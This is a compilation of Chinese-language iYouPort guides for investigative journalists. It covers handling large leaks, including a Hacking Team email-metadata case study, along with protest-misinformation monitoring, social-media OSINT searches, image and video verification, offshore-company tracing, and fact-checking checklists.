“当我听到，「你必须在某一天发布」或者「你必须发布这个和那个部分」，我总是有点紧张和谨慎”，Obermaier 说。简单说，调查者

应该思考对方为什么提出这样的要求。

然而，最难的一步是第一步 —— 确保泄露的消息是真实的。检查泄密的真实性是一件很麻烦的事。

您需要的工具

问题是，如今正常的吹哨泄漏都是几千兆字节或几兆兆字节的数据，调查者必须快速扫描所有这些数据，并与公共记录、公司记录、法庭记录、或人类信息源进行交叉检查。

要做到这一点，您需要趁手的工具。对 Obermaier 来说，最重要的工具之一是光学字符识别，即OCR，它可以让扫描的文件变成机器可读。为此，他喜欢 Abbyy 的 FineReader，这是一个付费的OCR解决方案。接下来，当您把所有泄露的文件都进行OCR处理后，您需要一些东西来搜索它们。为此，Obermaier 推荐了 Aleph，这是一个由有组织犯罪和腐败调查报告项目（OCCRP）的 Friedrich Lindenberg 开发的工具。

- 不要错过相关工具和技巧的指南《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（2）- 开始收集和处理数据》

他说，Nuix 也很有帮助，但相当贵。然后，它对可视化您的数据来说真的很有帮助，为此他推荐 neo4j 软件。

“但是当然，当处理像巴拿马文件这样的大泄密事件时，我们有超过2TB的数据，它带来了一定的责任。你必须检查每一个文件在发布之前进行仔细分析”，他说。

- 不要错过《如何迎接更多的“巴拿马文件”？》

如何处理大数据，Hacking Team 案例研究

当您遇到300GB的乱七八糟的数据泄露时，您该怎么办？

处理这么多的数据并不容易，您需要知道自己到底想要什么，才能妥善管理。

这样的数据泄露有几种方式来找您。要么是消息来源直接给您，比如斯诺登泄密事件或巴拿马文件，要么是黑客将其作为一组文件上传到

网络上，您需要下载，比如 Hacking Team 或丝绸之路航空公司的文件，尤其是 BlueLeaks 那种专门依靠黑客泄漏的吹哨平台，2017年的五角大楼调查就使用了这种规模的文件。

或者，也许您只是得到了一大堆纸质文件，您需要将其数字化，以便妥善处理，就像亚努科维奇泄密案那样。

在任何情况下，您都需要快速行动，特别是当泄漏信息是公众直接受益的东西时，或者您的竞争对手（比如企业媒体和官宣）正在处理这个案子。

📌 您的工作是迅速评估材料，整理材料，认识到每份文件的重要性，核实后开始发布。

但首先要做的是把所有的东西整理出来，了解数据。

这可能是压倒性的，所以您需要尽快掌握：

- 您到底收到了什么？
- 来源是怎么说的，和眼前的东西相比如何？
- 它看起来合法吗？谁能验证它是否完全真实？
- 一般内容是什么？
- 您能发现一些线索吗？
- 有什么需要您立即行动的吗？

当您掌握了手头的实际情况后，您就会计算出自己可能会从数据中提取出哪些潜在的故事，然后开始以这样的方式进行组织，您可以证明或反驳自己的偏见或想法。📌 具体思考方式和工具详见我们的 “解码秘密” 指南：

- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（1）- 哪些方式可以找到您想要的东西？》
- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（2）- 开始收集和处理数据》
- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（3）- 理解数据和可视化》
- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（4）- 确保真实和确保道德的技巧》

这个方法的一个很好的例子是 The Share Foundation 的研究人员对 Hacking Team 文件进行的调查工作。

Hacking Team 是一家意大利监视技术公司，专门研究和制造侵犯人权的间谍软件工具。无国界记者组织将其称为互联网的企业敌人之一。

「图」

「图」

2015年7月，一个不知名的黑客公开提供了 Hacking Team 400GB的内部文件、发票、邮箱和源代码的链接。

当大家都在关注 Hacking Team 的合同、他们的间谍工具、和涉及的国家时，Share Foundation 的人决定根据泄密事件中提供的数千封邮件的元数据，做一个关于 Hacking Team 内部运作的报道。

他们成功地重建了 Hacking Team 的 CEO David Vincenzetti (Mister D.) 的具体行为，他在国外旅行时在做什么，HT什么时候发生危机，他的行为如何。

📌 调查元数据是重点之一—— 因为大量元数据包含了互联网用户私人生活的敏感信息。

那么，这是如何做到的呢？

首先，调查者获得了黑客提供的泄漏数据；然后，他们从中找出所有可能的故事，决定一个调查焦点—— 元数据调查。

调查者意识到，他们可以从 Hacking Team 邮箱账户的几十万封邮件中提取标题，这时故事就开始形成了。

当您知道自己想要什么的时候，只需要选择合适的工具就可以进入工作了。

电子邮件的标题包含了大量的数据。其中大部分对于重点调查来说是无用的，而作为调查者，您需要对其进行一定的了解。

对于这类调查，需要的数据有：每封邮件的主题、日期和时间、相关人员的邮箱地址和姓名。

既然邮箱文件的扩展名是.pst，那就意味着这些是微软公司无处不在的电子邮件软件 Microsoft Outlook 的文件。不过，Outlook 在这次调查中并没有用处，因为它对这些邮件的唯一工作就是打开邮件并显

示内容。

调查者需要一个工具来搜索这些文件，并只提取和分类调查所需要的信息。

在这里使用的工具是 Outlook Export，这是 Code Two 公司的一个免费软件，该公司有几个处理微软文件的免费程序。

利用它，您能够选择对调查很重要的元数据，并将它们导出到一个单独的表格中。

现在，当调查者把结构化的数据放在一个表格中时，就只剩下把这些数据翻译成一个故事的问题了。

但是，您如何将几十万条数据行翻译成一个故事？您如何从中发现重要的趋势？

📌 有几种方法可以做到，但其中最好的一种是从不同的角度来观察数据。

使用开源的可视化工具，如功能强大但易于使用的 Gephi，调查者能够以多种方式对提取的数据进行图形化表示。

每一种表示方式都能够让调查者产生新的认识 —— 谁在组织内部和外部与谁交流，他们什么时候去度假，什么时候起床，谁在世界的哪个地方工作，谁是主要的合作伙伴，等等。

这样，调查者就能够确定CEO的邮箱地址是 Hacking Team 中人员内部沟通的中心点。这些信息决定了调查报告的其他部分。

通过关注CEO，调查者可以回答他们提出的问题了：「您能仅仅根据一个人的邮件元数据来重构他的私密行为吗？」

答案是，可以。

通过仅使用人人都能使用的开源和免费工具对元数据进行调查，就得以深入了解一家间谍软件公司CEO的个人习惯和活动，并证明了这一前提，即：元数据中包含了互联网用户私生活的敏感信息，可以用来监控此人的行为，“比传统的监控更深入和更危险”。

关于HackingTeam 泄漏邮件的调查演示在这里看到：《想知道老大哥是如何侵犯你的吗？挖掘更深层的内幕》〇

—— 未完待续 ——

原文

互联网信息生态很容易被操纵，信息战只是其中一少部分因素：从追踪到验证的思考方式（3）- iYouPort

开始调查

对大型抗议活动的调查，注意事项、工具和技巧

【按】上一集内容中是以香港为案例的，本文则是以美国为案例；不论以谁为案例都是希望说明，同类情况在全世界都是一样发生的，因为这个世界共享同一个互联网、所有人集中在少数几个社交媒体平台上，于是遭遇的状况和解决方案很大程度上是一样的。

本文中涉及的资料您可以在这里下载：https://www.patreon.com/posts/hu-lian-wang-xin-46813035

「图」

「图」

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《没有固定模式，但总会有一些迹象：从追踪到验证的思考方式（1）》
- 《发现不正常的活动：从追踪到验证的思考方式（2）》

研究虚假信息的人经常被要求将误导性内容归咎于特定的行为者 ——无论是外国政府、本国的恶作剧者，还是超党派的媒体机构，也就是说，调查者很大程度上聚焦于有组织有战略的信息战活动。虽然不应忽视故意推广虚假信息的行为者；但是，去年美国的抗议活动足够表明，关注虚假信息的具体例子可能无法抓住正在发生的事的复杂性。

乔治·弗洛伊德被杀后，世界各地数十万示威者走上街头。他们诉求的核心是为死于警察羁押的黑人伸张正义，以及要求替代性的刑事司法

体系。

在美国，社交媒体上大量讨论了很多种附带的说法。抗议地点附近堆积的砖块让不同意识形态的社交媒体用户纷纷猜测砖块的来源；有传言称，华盛顿特区的抗议者是网络封锁的目标。在其他地方，加入游行或与抗议者一起下跪的警察的图像被一些新闻机构不加分析地分发和公布，而没有审查动机 …… 这些例子 —— 加上对白人至上主义 “Boogaloo” 运动参与的深入调查，或者围绕西雅图自治区到底发生了什么的问题，都分散了对这场抗议活动本身原因的关注。

「图」

「图」

示威者在被称为 “市政厅自治区” 的区域内休息，该区域是为了抗议纽约警察局而成立的。

当示威者在6月初开始组织起来时，网上争论的一个说法是强调所谓的 “外部煽动者” ，社交媒体上充斥着声称卧底警察、白人民族主义民兵或 “Antifa” 成员要对煽动抗议活动中的财产损失或暴力负责的帖子。用户贴出了涂鸦的照片，声称其措辞可疑，并质疑是否是故意的以挑拨离间。

但是，关注那些不关心解决警察暴力问题的抗议参与者，严重分散了那些关心解决警察暴力问题的组织者的诉求。这里的所谓 “外部煽动者” 话题起到了攻击和破坏抗议活动的双重目的。首先，它把一些暴力行为和破坏归咎于抗议者，从而诋毁抗议者；第二，它通过将人们的注意力从抗议背后的原因转移到抗议者身上，从而淡化了抗议的意义。

"误导性信息的研究者"创造了 **“source hacking”** 一词，用来描述 “媒体操纵者瞄准记者和其他有影响力的公众人物、采撷虚假信息、并在人们不知情的情况下向公众放大” 的过程。新闻周期的性质和新闻报道的方式意味着许多职业媒体无法避免自己感染这些叙事。内部和外部的压力、包括财务和专业性的压力，都不允许职业记者冷静独立的思考。而传播这些叙事的一些账号 —— 虽然不是所有账号 —— 都会有恶意。

📌 这些叙事表明，围绕抗议活动的错误信息层出不穷的故事，并不是一个中心恶棍或有组织的阴险行为者的故事。相反，这是一个关于由新闻媒体、社交媒体、和消费媒体的人组成的现代信息环境如何容

易受到操纵的故事，这些操纵影响了事件的形成和大众讨论的方式。

在许多这样的例子中发生的 “source hacking” 是复杂的信息环境的有机副作用，而不是故意的伎俩。对于决策者来说，这也许更加难以驾驭，需要新闻机构和记者仔细考虑，以确定如何在报道中最有效地以受众的需求为中心。

「图」

「图」

在对抗议活动期间的所有社交媒体进行监测之后，不可能将所谓的 “外部煽动者” 的说法归咎于任何单一的不良行为者。虽然就像任何时刻的网络共同关注一样，机器人和僵尸账户很可能一直在推送与这些抗议渗透的说法有关的内容，但是新闻界的错误也许更大。有实例表明，媒体拙劣的报道框架、或错误的背景下的虚假信息， 都给了所谓的 “外部煽动者” 更多的合法性。

但是，如果不同时审视当前的信息格局如何如此轻易地受到这些干扰的影响，仅仅识别阴险的信息战和媒体的失误是徒劳的。

社交媒体平台及其算法、编辑决策，以及对个人层面发布和分享内容的决定，都有助于某些叙事更突出的可见性，而且它们在无意中同步发挥作用 —— 往往会造成不良结果。例如，很多新闻机构使用了宝贵的资源去调查一名75岁的警察暴力受害者与 Antifa “是不是有什么关系”，这在很大程度上要归功于特朗普总统对这一虚假谣言的宣传。

这只是抗议活动中的一个例子，当时新闻机构花了很多时间去调查和驳斥来自政客、警察当局和街头的视频片段的说辞。当新闻编辑室、特别是由于入不敷出工作人员被裁员和被辞退的地方新闻编辑室专注于这类工作时，他们就不太能够专注于反映社区经验和人们真正需求的报道。然而很难说在社交媒体上爆出的话题没有新闻价值，社交媒体和传统媒体之间的反馈循环被打破，而抗议活动则展示了这种情况的破坏性。

虽然错误信息监测的过程 —— 定位一条虚假的或误导性的内容，并找到它的始作俑者 —— 仍然是有用的，事实检查人员在维护健康的信息生态系统中发挥着重要作用；但是，越来越清楚的是，我们必须从宏观角度解决错误信息的问题。仅仅解决每一个错误信息的 “原子” 已经远远不够了。误导性的叙事有时会在现代信息生态系统中蓬勃发

展，这是因为各种情况的交汇，而不是因为什么精心执行的计划。

如果我们不解决定义人们接收、处理和分享信息的方式的基础设施问题，那么以“打地鼠”的方式去试图缓解误导信息，将是无效的。对于新闻工作者来说，这意味着要仔细研究报道和揭穿特定错误信息的冲动。任何这样做的努力都应该通过强有力的解决方案来平衡，强调受错误信息影响或操纵的社会问题。

「图」

「图」

在网上寻找有新闻价值的材料是比较简单的。但是，核实它究竟是不是真实的、然后以道德的方式使用它，就相对比较困难了。下面将针对这三个要素进行一些技巧方面的介绍。

在线信息收集

先看一个视频：

使用抗议活动中的目击者视频，既可以确定镜头中的个人，也可以确定具体的社交媒体账号，这样的信息收集有可能使两者都受到伤害。将帖子嵌入到在线您的文章中后，实质上就为读者打开了一扇窗户，让读者了解这个人的生活。所以，调查组织应该在网络世界中适用与线下相同的关于同意和保护消息来源的准则，否则就有可能危及消息来源、损害自己的声誉、或引起法律诉讼。

Twitter

说到新闻，Twitter仍然是大多数人首先会想到的社交网络，而Tweetdeck 仍然是快速挖掘 Twitter 信息的最佳工具。

这个免费使用的仪表盘可以让用户按需设置搜索列，比如很多单独的新闻源，然后根据参与程度或媒体类型等来过滤结果。具体做法在这里回顾：《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》。

为了得到最好的结果，您需要使用布尔搜索对搜索进行微调，寻找特定的关键词。集思广益，找出一些目击者或消息来源在推特上发布事件时最可能使用的关键词，并将其与地点结合起来。如果您正在寻找人们谈论他们的个人经历的内容，可以添加“me OR my OR I”。记

住，短语要用引号括起来。

然后使用AND和OR来分隔出搜索的不同部分。如有必要，使用括号来更清楚地标记不同的部分。

关于布尔搜索的具体介绍，见《一个搜索统治一切：调查用心而非技术》。

下面是一个例子，您可以复制和粘贴，填写相关的位置关键词：

[location] AND (protest OR protesters OR protestors OR #blacklivesmatter OR police OR officer OR arrest* OR attack* OR charge OR shoot OR “pepper spray” OR mace OR curfew OR riot OR loot OR “rubber bullet*” OR “pepper ball” OR “tear gas” OR “far right” OR “far left” OR supremacist OR boogaloo OR antifa) AND (me OR my OR I OR we OR us OR our)

如果搜索没有返回结果，可能是因为搜索字符串中缺少了一部分，如单引号，或者因为太长。调整它，直到您得到结果，并使用过滤器来减少噪音和不相关的帖子。

- 不要错过《绕开推特算法噪音、使用基本运算符挖掘推特数据的方法》

Twitter 可能是最容易搜索的社交媒体平台，但这并不意味着它拥有所有的相关材料。很多社交媒体用户并不在 Twitter 上，因此在这里进行搜索只能是了解关于某个特定问题的真实在线活动水平的一个小窗口。您需要尽可能多地遍布各种社交媒体平台。

Facebook 和 Instagram

在这个世界上最大的社交网络上寻找信息的人可以使用其标准搜索功能，在网站上或在应用程序中，然后过滤结果。开源情报社区讨论编辑 Facebook 搜索的URL，以便进行更精细的搜索，但社交网络不断变化，您需要跟上。

您可以在这里看到具体做法，要记住，随时需要您的灵活和创造力，在框架基础上发挥：《搜人、照片、视频、位置 …… 大全：新的FB”图谱搜索”替代方案》。

Instagram 的功能更多一些。在应用或网站上对特定标签的搜索会返

回按算法排序的结果，但在线工具 Wopita（前身为 Picbabun）会首先显示最近的结果。它还会显示与某些关键词或短语相关的用户，以及任何相关的标签。

- 在我们的网站上搜索 “Instagram” 以找到更多工具和调查技巧

另外，还有 Facebook 旗下的社交媒体分析工具 CrowdTangle，它对记者和研究人员是免费的。用户可以设置公共群组和页面的列表，以监控和保存 Facebook、Instagram 和 Reddit 上相关关键词的搜索情况。

TikTok

TikTok 目前在全球拥有超过8亿用户，是2019年下载量第二大的应用，并被参与抗议活动的人广泛使用。

您可以在手机应用上搜索标签、关键词或账号，它会显示结果和其他相关标签，对调查很有帮助。

在桌面上没有这样的搜索功能，所以 OsintCombine 的TikTok搜索等工具可以提供帮助。记住，TikTok 的标签可以有表情。

同时记住，对于各种在线信息采集，核实其真伪是下一步的关键，一定要尊重联系人和消息来源。

对于 **TikTok** 这里有一个新的调查指南：《使用运算符深入挖掘抖音情报和追踪目标人：基本指南》；在我们的网站上搜索 “TikTok” 或 “抖音” 以看到更多内容。

事实核查

无论是冠状病毒还是抗议活动，在调查报告情绪化的故事时，您都需要成为情绪化的怀疑者。虚假信息传播迅速，尤其是当它吸引人们的情绪时，这些同样的情绪会让人们在潜意识中更容易相信某些说法或镜头。

无论您是在看一段视频，一条推文，还是抗议活动的图片，都应该从五项基本检查的角度来思考：动机、地点、日期、信息源、起源。您可以在这里下载一份PDF，以查阅详细解释：

1、是原版吗？

验证的第一步是找到视频的来源。反向图像搜索通常是确定图像或视频是否曾在不同的情况下被使用过的最快方法。

RevEye 浏览器扩展允许用户搜索多个图像数据库以找到匹配的图像。InVid 是分析和验证视频的宝贵工具。

具体做法和更多相关工具见《没有固定模式，但总会有一些迹象：从追踪到验证的思考方式（1）》。

如果没有其他版本出现，看看用户是否会通过社交媒体以外的其他方式向您发送原始图片或视频 —— 比如加密邮箱或端对端通信工具。

图片文件中的 Exif 数据可以佐证来源所说的拍摄环境—— 但这些信息在发布到平台上时就会被抹去。有一个办法可以部分捕获社交媒体视觉信息的元数据，具体做法：《社交媒体照片也能找到元数据痕迹以实现追踪，这件事怎么做？》。

2、来源是谁？

看一下消息源的社交媒体资料，看看有没有能支持此人说法的例子。该人的账户上是否有其他现场的照片？该人发布的您想核实的内容类型是否合理？在对当事人的身份提出任何要求之前，请直接联系当事人。在抗议的情况下，出于安全考虑，某人可能希望保持匿名，要尊重匿名需求。

3、图片或视频是什么时候拍摄的？

即使在与消息来源交谈之前，也要查看天气和时间，以确定内容是否能通过基本常识性检查。请记住，主要的社交媒体平台有不同的方式来确定时间戳，比如看这里：《深挖推特：如何从推文中提取准确的元数据？》。更多方法见演示《寻找时间的踪迹：侦探挑战游戏》、以及《让阴影说话：开源调查小游戏》。我们在 列表-5中汇总的 “侦探挑战游戏” 板块中的内容都可以训练您这方面的技能。

「图」

「图」

4、是在哪里拍到的？

现在是发挥您观察能力的时候了。寻找一切可识别的地标、街名或店

名，用地图工具交叉参考位置。

如果细节难以辨认，并且知道地理标签很容易被操纵，那么挖掘发布内容的账户以寻找线索可能是前进的方向。此人是否在其他帖子中记下了自己的位置？发帖人是否会出现在现场，或者该账号是否有什么异常？

不要错过一个地图和卫星图的综合性指南《如何拥有上帝的眼睛：监视、追踪、导航、回溯、阴影识别…… 这是您需要了解的一切—最大限度挖掘地图的能力 *完整手册*》。

5、为什么要拍摄这个？

这可能是最难回答的问题，但在整个验证过程中，它仍然应该是最重要的问题。要想了解内容为何被抓取，一个可靠的方法是直接与信息源对话，但试图从他们的账户中收集更多关于他们的动机也是可能的。也许他们只是一个旁观者，但您仍然可以查看他们的帐户和其他帖子，以寻找可能影响他们对现场的看法的潜在动机或可能的附属机构。

验证不仅仅是图片和视频。在没有确凿证据的情况下，您需要避免扩大抗议活动受到所谓的“外部煽动者”影响的说法。必须像核实任何其他声明一样核实执法部门的说法！

我们将制作专门的信息验证手册，更系统地介绍这些技巧。

道德地使用信息

收集和传播目击者提供的视觉信息会引起一系列道德问题。

例如，在报道中放大某个账户或个人，可能会提高此人的形象，引起不必要的关注。

在引用、链接或嵌入关于抗议活动的帖子之前，要考虑对用户和图片或视频中的人的影响。直接向发布内容的人寻求使用其内容的知情同意。始终询问消息来源是否愿意被记入名下，以及如何被记入，确保他们知道可能的影响，并让消息来源选择完全不被记入。

在如何使用任何材料方面保持透明也是建立信任的关键。

抗议活动和周边事件可能特别不稳定，所以要考虑正在直播或发布内

容的人的情绪状态和人身安全。独立调查组织在道德准则项目中指出，当在危险的情况下与公众交流时，调查者应该敦促他们保持安全。“有时最好等到危险过去后再做决定”。如果他们有潜在的直接危险，考虑等待联系到他们。

在这里看到相关的完整指南《在人与人之间 …… 如何从信息源的头脑中挖掘想要的情报—完整指南》。

当镜头中的主体来自弱势社区时，需要特别小心。 您需要有意识地保护因揭露侵权行为而面临风险的消息来源的匿名性。这不仅仅是不公布消息来源的名字 —— 您还必需考虑影像是否包含元数据可确认消息来源或他们的位置，以及托管影像的平台是否会透露识别性细节。

最后，与所有报道一样，提供事件背后的背景至关重要。不要像企业媒体那样只追求刺激：社会运动和动荡是随着时间的推移而建立起来的，并表现为政治机会所创造的知名度的浪潮。游行不会自动组织起来，抗议活动不会凭空出现；群众动员背后的支持网络是您需要在他们走上街头之前和之后报告和参与的社区。〇

—— 未完待续 ——

The US protests have shown just how easily our information ecosystem can be manipulated

原文

如何跟踪离岸公司、如何确保信息正确：开始调查（3） - iYouPort

开始调查

工具和思考方式

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《保持敏锐需要一些技巧：开始调查（1）- 从嗅觉到行动力》
- 《如何处理巴拿马文件那种规模的泄漏？：开始调查（2）- 介绍一些工具》

「图」

「图」

上图中的内容在这里下载：https://t.me/iyouport/7971

本文中介绍的技巧来自有组织犯罪和腐败报告项目 (Organized Crime and Corruption Reporting Project) 和KRIK（犯罪和腐败调查网络）的调查记者 Dragana Pećo，她还介绍了一些追踪离岸公司的重要工具。

合法性问题

调查记者 Dragana Pećo 说："有些国家的目的地、有些商业登记处，我们找不到公司股东是谁的信息"。

虽然成立离岸公司是合法的，但是，人们很容易利用它进行非法活动。Pećo 列举了一些腐败的巴尔干政客的所作所为来说明这一点。她解释说："这些政客从预算中偷钱，购买私人财产，尽一切办法把他们的脏钱隐藏起来"。

追踪离岸公司已成为她的日常工作。“并不是说我每天都会发现一些新的离岸公司需要去调查，而是每天都会发现 [要么] 作为我与一些同事合作的一些跨境项目的一部分、要么是与当地报道有关的东西”，她说。

追踪离岸公司最重要的工具是商业注册数据和数据库。有些是免费的，而有些可能是昂贵的。第一项任务是在官方的商业注册处找到有关公司的信息和文件。通常，这类信息和文件在官方的公司注册处是找不到的，因为这是一个离岸司法管辖区 —— 以所谓的 “保密” 著称。

下面是她的视频：

📌 信息可以在法院记录和世界各地的不同数据库中找到，如 Orbis、LexisNexis、Offshore Alert、Sayari 和 Arachnys。记者还可以使用 opencorporates、ICIJ 的离岸泄密数据库、OCCRP 的记录搜索工具，以及在OCCRP 运行的在线平台 “调查仪表板” 上向调查人员寻求帮助。

核查，任何时候都是最重要的

调查者本身基本上就是事实核查员，因为整个调查过程都是对所有的说法、文件等资料进行核查和质疑的过程。

📌 但是，事实核查不仅包含对证据和说法的质疑，更需要包含对调查过程中的逻辑和方法的质疑。

只有把证据放在正确的语境中，并有逻辑地组织起来，一篇调查报告才能称得上是经过事实核查的，才是准确的。

事实核查可以建立调查报告和调查者的可信度，并有助于赢得公众的信任。尤其是，它能保护您免受潜在的法律诉讼 —— 避免调查目标对您倒打一耙。

因此，事实核查是调查者从调查开始就应该牢记的事，并把它看作是一个与调查不可分割的过程。

这意味着要知道哪些东西可以用来证明某种说法、什么样的消息来源是可信的、如何用正确的方式收集数据。详细内容见我们的《解码秘密》系列指南。

除了调查者之外，事实核查员是指完全不参与调查或写作过程的人，在调查报告已经编辑好之后才有机会接触到报告。

事实核查员基本上是另一个编辑，他对调查报告进行最后的评论，并在报告发表前对其进行批准。

📌 重要的是要注意 —— 事实核查与法律扫描不一样，但有时也是类似的。有时，即使某件事情是完全准确的，法律扫描也会显示它不能用于法庭证据，因为它可能会导致诉讼。

每项声称都可以通过问两个问题来检查：#我怎么才能知道这是真的？

- 我可以证明它吗？

1. 机构—— 机构创建的文件，如报告、统计、规则书等；

- 信息自由请求FOIA的答复 —— 统计数据、报告、清单等；
- 私营公司—— 来自商业登记处、其网站或公司应要求提供的文件；
- 公共数据库—— 工商登记、资产登记、公共采购登记、股票市场等；
- 数据泄露—— 大数据。从匿名来源、其他媒体、黑客等泄露的文件；
- 信息源—— 官方的和匿名的。受害者、吹哨人、公职人员等信息渠道提供的文件。

1. Truecaller

- Appliqato的自动呼叫记录器
- Call Recorder ACR
- Automatic Call Recorder by RSA
- Cube Call Recorder ACR
- Blackbox Call Recorder
- SmartMob Smart Recorder
- Smart Call Recorder—SCR
- Voice Recorder by Splend Apps
- Galaxy Call Recorder
- All Call Recorder
- RMC: Android Call Recorder
- Call Recorder

- Phone Call Recorder
- Note Call Recorder

1. 通话记录—— 保存您的通话记录列表，以证明您联系到了或试图联系了正确的人。
2. 由您亲手拍摄

- 来自社交媒体和谷歌
- 资料来源提供
- 在官方网页上公布的
- 其他媒体

1. 地点

- 公司介绍
- 人员

1. 沟通

- 网页
- 社交媒体

1. 地点

- 检查周围环境
- 卫星视图

1. 新闻中心

- 调查工作
- 分析告

引用其他媒体的最大问题是虚假信息的风险。有时候，即使10家不同的媒体都发表了同样的事，也不代表这件事就是真的，通稿您肯定知道是啥。在您自己的调查报告中使用其他媒体报道时，最好的方法是坚持使用以事实核查方法著称的媒体，尤其是独立媒体，明确信息的来源是谁。📌 永远不要用其他媒体的报道来证明您自己的结论。

如果媒体是唯一的消息来源，请提供至少三篇关于同一主题的不同文章，所有文章都支持同一说法，但前提是消息来源不是新闻机构，或者有视频/音频可用。

另外，一定要将媒体报道与您自己的笔记、文件和消息来源的说法进行交叉核对。

常见错误

“大家都知道，所以不用查了！” 这种态度就是错误经常开始的地方。虽然人们似乎知道一些事，因为它们已经成为日常叙述的一部分，但这并不意味着它们就是完全真实的。当您写下 “众所周知” 这四个字时，请记得它意味着很大的责任。

日期：

不同的国家使用不同的日期风格，所以您应该检查哪种风格是正确的，并在整个报告中坚持使用同一种风格。

将最关键的事件列成时间轴。

名字 —— 人、公司：

有时候，人和公司的名字是一样的，所以一定要拼写正确，尽量通过身份证/营业号、地址或签名来识别他们。

数字：

数额越大越容易发生错误，丢一个或多一个零就是大事。确保您计算百分比、平均数等数值的方法是正确的，以及您的表单中使用了正确的格式。一定要检查两遍，用电脑帮您计算。

检查您是否使用了相同的货币来计算总数。

引用其他媒体的话：

如前所述，一定要尽量自己获取信息，或查阅文件和其他可用的来源。

照片：

确保您使用的照片没有经过编辑，并且有可信的来源。

过时的信息：

确保您有相关时间段的数据，并且您已经用最新发生的事件更新了您的报告。调查过程是漫长的，有时报告需要不断更新。

如何确保高效的事实核查？

数据检查：

日期—— 确保您已经检查了所有的日期，并与另一个信息来源进行了比较；

拼写和重复—— 确保您写对了所有的人和公司的名字，否则会很麻烦。在您的 excel表格/图表中不要有任何重复。

上下文—— 如果不把统计结果放在正确的上下文中，单单统计结果是没有意义的。如果有一个趋势，您必须显示它在一段时间内是如何变化的。

确保你的数据是最新的：

如果您已经为这项调查工作了几个月，请检查您是否收集了相关时间段内的所有数据。有时，从您在调查开始时收集数据到发布数据的过程中，很多事情都会发生变化。避免您的数据出现空白。

跟踪您的活动和数据。列出您所拥有的文件、待处理的文件、您所做的采访等等。这将帮助您覆盖所有方面，并轻松规划调查活动，这样您就不会错过任何东西。

解释使用的方法：

给读者提供质疑的机会。方法解释得越好，猜测就越少。保持简短和简单。

提出质疑：您对报告的想法可能会随着最新的发现而改变；它可能会扼杀您的原有计划，或者把它带到一个完全不同的方向。反思始终是值得的。

目标：您要写的人可以是一个很好的信息来源，也同时可以是一个事实检验者。用您的数据面对他们，要求他们做出解释，可能会发现一些您遗漏了的东西。

识别报告中的每一个事实，并列出证明它的文件/档案：这将帮助您检查您是否得到了所有正确的结论。

对重大事件使用时间线，这样您就不会错过任何事。

制作文件夹，并突出显示文件中的重要部分，这样您就可以轻松找到它们。为了节省时间，让文件可被搜索。

保存所有的电子邮件、短信和电话。将它们与其他材料一起安全保存。即使在报告发表之后也要保证这些信息的安全 —— 以防被调查者倒打一耙，或后续报道。〇

—— 未完待续 ——

原文

突发事件中需要注意的东西：从追踪到验证的思考方式（3） - iYouPort

开始调查

您需要一套扎实的基本功，才能对突发应对自如

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《没有固定模式，但总会有一些迹象：从追踪到验证的思考方式（1）》
- 《发现不正常的活动：从追踪到验证的思考方式（2）》

「图」

「图」

当突发事件时，调查者可能需要几个小时甚至几天的时间才能完全弄清情况。随着早期的证据和细节开始在社交网络和其他在线平台上流传，不良行为者可能随之会出现，以挑拨离间或制造不信任，或利用充满担忧的新闻消费者的注意力赚取快钱。那些善意的信息消费者和其他消息来源也可能无意中传播虚假的或误导性的信息。

在事件发生的最初几分钟和几个小时里，情绪的高涨和事件的流动，使得调查者必须具备有效监测、核实和必要时揭穿不实消息的能力。一条虚假的推文、图片、社交媒体账号或文章只需几分钟就能制造出来，而真实的信息总是却难以跟上。

在突发事件期间进行监测和揭穿的关键是在事件发生之前打下坚实的基础。这意味着要扎扎实实地掌握基本的信息核实技能，了解如何有效监测社交网络和平台上的信息流，并知道如果您或您的同事成为不良行为者的目标，该如何应对。调查者必须把网络安全放在首要位置。

- 不要错过《巧用互联网，以找到您最想要的信息：搜索思维作为基本功》
- 重要内容《给活动家的反人肉指南》

当事件爆发时，第一步是确定主要受影响的社区。在2018年佛罗里达州帕克兰高中枪击案期间，记者在 **Snapchat** 地图上搜索被困在教室内的学生的视频；相比之下，在2017年飓风厄玛期间，关注 **Facebook** 是关键，因为那些受影响的人更多试图在 Facebook 上寻找信息。了解每个社交网络如何运作，以及它如何与特定事件相交，是至关重要的。

📌 本文将重点介绍公民调查可以用来监测和揭穿突发消息的工具。并非每一种工具都适合每一种情况，了解谁受到了影响可以帮助您知道哪些地方最需要关注。

要注意的三点

在公民行动努力打击虚假信息的同时，不良行为者也在不断进化他们的战术，以避免被发现。不过，一些一致的内容和行为模式还是会反复出现。

1、被篡改的或断章取义的图像/视频。最臭名昭著的鲨鱼在被淹没的高速公路上游泳的图像多年来一直在流传，并继续欺骗人们。这些照片和视频之前已经被揭穿，但并没有阻止假消息继续流传，这就是事实核查者所说的僵尸骗局，它是一个重要的观察对象。图像在数字平台上的传播速度要比文字要快得多，所以关注它们往往会有收获。

看一个案例《断章取义的视频和歪曲的描述如何挑起对安替法(Antifa)左翼活动家的仇恨》。

「图」

「图」

在2019年在沃尔玛（Walmart）发生的埃尔帕索（El Paso）枪击事件中，极右翼账户试图歪曲与嫌疑人完全无关的旧YouTube视频。

2、虚假的受害者或肇事者。在 YouTube 总部枪击案期间，社交网络上到处都是关于嫌疑人的虚假说法。在2018年美国中期选举期间，美国总统散布了关于非法移民投票的虚假谣言。在大多数重大的突发事件中，传播虚假消息的人都会大量出现。

「图」

「图」

在2018年帕克兰（Parkland）枪击事件中，一个伪造的比尔·奥莱利（Bill O’Reilly）帐户试图散布虚假的嫌疑人名字。

3、骚扰和拉拢。虽然不是严格意义上的造谣，但不良行为者通常会试图骚扰参与突发性事件讨论的人，以此来压制他们的观点。这也是一个信号，预示着他们可能会在接下来尝试不同的战术。协调性不真实行为是指一群人一起合作，通过上调或下调内容热度或向用户泛滥特定观点的评论等方式，营造出参与或反应热烈的假象。这些账户可能是真实的人类，也可能是机器人，也可能是人类和机器人混合的状态。

在这里看到具体解释《网络水军如何不断操纵您在社交媒体上看到的内容》；在这里看到辨别方法《如何分辨：机器人、僵尸网络和trolls》。

「图」

「图」

